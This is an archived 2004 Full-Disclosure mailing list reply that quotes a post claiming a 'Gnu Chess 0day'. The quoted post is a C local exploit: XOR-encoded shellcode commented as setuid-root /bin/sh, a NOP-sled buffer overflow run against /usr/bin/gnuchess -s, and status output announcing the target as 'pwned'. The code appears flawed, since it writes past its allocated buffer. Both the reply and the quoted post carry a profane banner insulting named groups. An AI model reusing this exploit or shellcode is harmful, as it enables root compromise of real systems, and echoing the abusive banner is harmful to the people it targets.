Re: Gnu Chess 0day

["VeNoMouS" <venom () gen-x co nz>]

  * Note: our pen0rs are 50 x larger than yours.   *
  * This is a fuck you to gobbles. Go wash your    *
  * dirty ass hair, go take a bath, get a real life*
  * off of your fucking computer.  #phrack is a lot*
  * of dirt fucks too who don't get off their box  *


^^^ FEEL THE LOVE
----- Original Message ----- 
From: "ace sk8" <ace2oo1sk8 () hotmail com>
To: <full-disclosure () lists netsys com>
Cc: <ace2001sk8 () hotmail com>
Sent: Monday, February 02, 2004 10:57 AM
Subject: [Full-disclosure] Gnu Chess 0day


> StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
>   X X
>   X STX ONLINE [ trippin smurfs y0] X
>   X X
>   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
>
>   **************************************************
>   * Note: our pen0rs are 50 x larger than yours.   *
>   * This is a fuck you to gobbles. Go wash your    *
>   * dirty ass hair, go take a bath, get a real life*
>   * off of your fucking computer.  #phrack is a lot*
>   * of dirt fucks too who don't get off their box  *
>   **************************************************
>
> */
>
> #include <stdio.h>
>
> char stxcode[] =
>
>      /* ace's shellcode [ ace2001sk8 () hotmail com ] (setuid=0,/bin/sh) */
>      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
>      "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
>      "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
>      "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
>      "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
>      "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
>      "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
>
>
> unsigned long pen0r(void)
>
> {
> __asm__("movl %esp, %eax");
> }
>
> int main(int argc, char **argv) {
>
> int pos; int ace = pen0r(); int stxnop = 0x90;
> int stxbytes = 648; int stxtotal = stxbytes + 4;
> char *stxbof;
> stxbof = (char *)malloc(stxbytes);
>
> for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
> *(long *)&stxbof[stxbytes] = pen0r();
> memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
>
> system("clear");
> printf("########################################\n");
> printf("# [ STX SECURITY LABS ] #\n");
> printf("# gnuchess local poc exploit by: ace #\n");
> printf("########################################\n\n");
> printf("[+] Return Address: 0x%x\n", ace);
> printf("[+] Buffer Size: %d\n", stxtotal);
> printf("[-] /usr/bin/gnuchess -s pwned!\n\n");
>
> execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);
>
> return 0;
>
> }
>
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